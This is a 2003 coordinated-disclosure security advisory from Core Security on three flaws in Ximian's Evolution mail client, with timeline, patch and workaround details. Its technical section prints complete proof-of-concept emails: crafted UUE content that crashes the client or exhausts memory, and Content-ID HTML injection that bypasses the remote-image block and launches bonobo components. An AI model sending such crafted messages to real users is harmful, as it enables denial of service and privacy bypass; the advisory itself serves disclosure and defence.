Core Security Technologies Advisory
http://www.coresecurity.com
Multiple vulnerabilities in Ximian's Evolution Mail User Agent
Date Published: 2003-03-19
Last Update: 2003-03-19
Advisory ID: CORE-20030304-01
Bugtraq IDs: 7117, 7118, 7119
CVE CAN: CAN-2003-0128 CAN-2003-0129 CAN-2003-0130
Title: Multiple vulnerabilities in Ximian's Evolution Mail User Agent
Class: Input validation error;
Failure to handle exceptional conditions;
Information Gathering
Remotely Exploitable: Yes
Locally Exploitable: Yes
Advisory URL:
http://www.coresecurity.com/common/showdoc.php?idx=309&idxseccion=10
Vendors contacted:
- Ximian
. CORE notification: 2003-03-11
. Notification acknowledged by Ximian: 2003-03-11
. Fixes added by Ximian to CVS tree: 2003-03-12
. BID, CVE numbers assigned: 2003-03-18
. Roll out of fixes: 2003-03-19
. Advisory published: 2003-03-19
Release Mode: COORDINATED RELEASE
*Vulnerability Description:*
Ximian Evolution is a personal and workgroup information management
solution for Linux and UNIX-based systems. The software integrates
email, calendaring, meeting scheduling, contact management, and task
lists, in one application. For more information about Ximian
Evolution visit http://www.ximian.com
Three vulnerabilities were found that could lead to various forms of
exploitation ranging from denying to users the ability to read email,
provoke system unstability, bypassing security context checks for
email content and possibly execution of arbitrary commands on
vulnerable systems.
The following security vulnerabilities were found:
[CAN-2003-0128, BID 7117]
The Evolution mailer accepts UUEncoded content and will
transparently decode it. By including a specially crafted UUE header
as part of an otherwise perfectly normal email an attacker has the
ability to crash Evolution as soon as the mail is parsed. This makes
it particularly difficult to delete this email from Evolution's GUI
and prevents a user from reading email until the malicious mail is
removed from the mailbox.
All versions of Evolution that include the function
try_uudecoding in the module mail/mail-format.c are vulnerable.
[CAN-2003-0129, BID 7118]
Having the Evolution mailer process mail content UUencoded multiple
times will cause resource starvation. The MUA will try to allocate
memory until it dies, possibly leading to system unstability.
Our example in the technical details section uses email content
encoded 3 times.
[CAN-2003-0130, BID 7119]
By including a specially crafted MIME Content-ID header as part of
an image/* MIME part, it is possible to include arbitrary data,
including HTML tags, into the stream that is passed to GTKHtml for
rendering.
These vulknerabilities provides multiple exploitation possibilities
in the Evolution mailer. Namely, it's possible:
a) To crash the application. The crash appears to be the result
of heap corruption, further research on this bug is required
to demostrate sucessfull exploitation to run arbitrary commands
on vulnerable systems.
b) To bypass the "Don't connect to remote hosts to fetch images"
option.
c) To execute some bonobo components and pass them arbitrary content,
included as part of the mail.
*Vulnerable Packages:*
Evolution 1.2.2 and prior releases are vulnerable, partially or
wholly to the vulnerabilities in this advisory.
*Solution/Vendor Information/Workaround:*
Ximian is providing Evolution 1.2.3 on [March 18/March 19]. This
release resolves all vulnerabilities in this advisory as well as
other unrelated bugs. The patched code for Evolution that resolves
these vulnerabilities is also already available in GNOME CVS.
A workaround for unpatched versions of Evolution to prevent Evolution
from crashing when viewing messages that exploit these
vulnerabilities is to go into "View"->"Message Display" and change
the value to "Show E-mail Source."
Distribution vendors who provide their own version of Evolution have
been advised of these issues as well as having been provided the
patches to fix them. They may provide updated packages for their
distributions.
*Credits:*
These vulnerabilities were found by Diego Kelyacoubian, Javier Kohen,
Alberto Solino, and Juan Vera from Core Security Technologies during
Bugweek 2003 (March 3-7, 2003).
We would like to thank Carlos Montero Luque at Ximian for quickly
addressing our report and coordinating the generation and
public release of patches and information regarding these
vulnerabilities.
Thanks also to Jeffrey Stedfast and other members of the Evolution
development team for the followup and development of the patches to
close these vulnerabilities.
*Technical Description - Exploit/Concept Code:*
[CAN-2003-0128, BID 7117]
The following email will reproduce this vulnerability, note that
an empty line is required before and after the UUE header line.
>From xxxat_private Wed Mar 5 14:06:02 2003
Subject: xxx
From: X X. X <xxxat_private>
To: xxxat_private
Content-Type: multipart/mixed; boundary="=-mTDu5zdJIsixETTwCF5Y"
Message-Id: <1046884154.1731.5.camel@vaiolin>
Mime-Version: 1.0
Date: 05 Mar 2003 14:09:14 -0300
--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: inline; filename=name
Content-Type: application/octet-stream; name=name
Content-Transfer-Encoding: 7bit
begin 600
end
--=-mTDu5zdJIsixETTwCF5Y--
[CAN-2003-0129, BID 7118]
The following email will reproduce this vulnerability.
>From xxxat_private Wed Mar 5 14:06:02 2003
Subject: xxx
From: X X. X <xxxat_private>
To: xxxat_private
Content-Type: multipart/mixed; boundary=3D"=3D-mTDu5zdJIsixETTwCF5Y"
Message-Id: <1046884154.1731.5.camel@vaiolin>
Mime-Version: 1.0
Date: 05 Mar 2003 14:09:14 -0300
--=3D-mTDu5zdJIsixETTwCF5Y
Content-Disposition: inline; filename=3Dname
Content-Type: application/octet-stream; name=3Dname
Content-Transfer-Encoding: 7bit
begin 600 phase2
M8F5G:6X@-C P('!H87-E,0I-.$8U1SHV6$ M0R!0*"<Q13XG,"HS,RA&+310
M6RE%42 N,SQ9,3-1)S$T*%LU0R4Y*E0I.#-"*2 R,D19"DTP0B4Y+E4\5# C
M138W-3!(*5,E+RHB/%$R(TA7*R0@7"E%52DN5#Q0,T!)+2I4*$$V,TTW+20\
M7#%#,2 *32\D.%4P,T1',20@72E%42 O,SQ-,3) 1"LR7%0Q(S$@+$,Q-2PC
M(%0K,S!(+$(Q(2A$(2DQ4TTR*#1 6 I-+4)5*R)$-$@I5#4O+S,\23131%8T
M-#A(+$(Q(2A$(2DU4U4W+R186#5%53(N,SQ-,3-!-RTU*%HM4R4Y"C,J5#A-
?,U-,4#(B2$(P(B! (D(@*CDV640B0" @"B *96YD"@
end
--=3D-mTDu5zdJIsixETTwCF5Y--
[CAN-2003-0130, BID 7119]
The handle_image() function, located in the module
mail/mail-format.c, lacks proper input checking. This function does
not escape HTML characters in the string returned by get_cid, which
is in turn constructed from the Content-ID MIME header included in
the MIME part.
It can be exploited several ways, for instance:
a) The Evolution mailer will crash when a MIME part's Content-ID is
referenced from two different object tags via the cid "protocol".
The following email will reproduce this vulnerability in Evolution
version 1.2.1:
>From xxxat_private Wed Mar 5 14:06:02 2003
Subject: xxx
From: X X. X <xxxat_private>
To: xxxat_private
Content-Type: multipart/mixed; boundary="=-mTDu5zdJIsixETTwCF5Y"
Message-Id: <1046884154.1731.5.camel@vaiolin>
Mime-Version: 1.0
Date: 05 Mar 2003 14:09:14 -0300
--=-mTDu5zdJIsixETTwCF5Y
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
Content-Id: hello
Hello World!
--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: attachment; filename=name1.gif
Content-Type: image/gif; name=name1.gif
Content-Id: "><OBJECT classid="cid:hello" type="text/plain"></OBJECT><hr "
Content-Transfer-Encoding: base64
--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: attachment; filename=name2.gif
Content-Type: image/gif; name=name2.gif
Content-Id: "><OBJECT classid="cid:hello" type="text/plain"></OBJECT><hr "
Content-Transfer-Encoding: base64
--=-mTDu5zdJIsixETTwCF5Y
b) The following email bypasses the "Don't connect to remote hosts
to fetch images" option.
>From xxxat_private Wed Mar 5 14:06:02 2003
Subject: xxx
From: X X. X <xxxat_private>
To: xxxat_private
Content-Type: multipart/mixed; boundary="=-mTDu5zdJIsixETTwCF5Y"
Message-Id: <1046884154.1731.5.camel@vaiolin>
Mime-Version: 1.0
Date: 05 Mar 2003 14:09:14 -0300
--=-mTDu5zdJIsixETTwCF5Y
Content-Type: text/html
Content-Transfer-Encoding: 7bit
Content-Id: apart
<img src="http://external.host.com:anyport">
--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: attachment; filename=name2.gif
Content-Type: image/gif; name=name2.gif
Content-Id: "><OBJECT classid="cid:apart" type="text/html"></OBJECT><hr "
Content-Transfer-Encoding: base64
--=-mTDu5zdJIsixETTwCF5Y
c) It is possible to execute bonobo components to handle content
types that Evolution mailer does not handle internally (for example
audio/ulaw). The following mail uses the Content-ID bug to execute
the bonobo-audio-ulaw component (bundled by default with bonobo)
and pass it arbitrary content.
>From xxxat_private Wed Mar 5 14:06:02 2003
Subject: xxx
From: X X. X <xxxat_private>
To: xxxat_private
Content-Type: multipart/mixed; boundary="=-mTDu5zdJIsixETTwCF5Y"
Message-Id: <1046884154.1731.5.camel@vaiolin>
Mime-Version: 1.0
Date: 05 Mar 2003 14:09:14 -0300
--=-mTDu5zdJIsixETTwCF5Y
Content-Type: audio/ulaw
Content-Transfer-Encoding: 7bit
Content-Id: mysong
There she was, just walking down the street...
--=-mTDu5zdJIsixETTwCF5Y
Content-Disposition: attachment; filename=name2.gif
Content-Type: image/gif; name=name2.gif
Content-Id: "><OBJECT classid="cid:mysong" type="audio/ulaw"></OBJECT><hr "
Content-Transfer-Encoding: base64
--=-mTDu5zdJIsixETTwCF5Y
*About Core Security Technologies*
Core Security Technologies develops strategic security solutions for
Fortune 1000 corporations, government agencies and military
organizations. The company offers information security software and
services designed to assess risk and protect and manage information assets.
Headquartered in Boston, MA, Core Security Technologies can be reached at
617-399-6980 or on the Web at http://www.coresecurity.com.
To learn more about CORE IMPACT, the first comprehensive penetration
testing framework, visit http://www.coresecurity.com/products/coreimpact
*DISCLAIMER:*
The contents of this advisory are copyright (c) 2003 CORE Security
Technologies and may be distributed freely provided that no fee is
charged for this distribution and proper credit is given.
$Id: Ximian-Evolution-advisory.txt,v 1.2 2003/03/19 23:05:30 iarce Exp $
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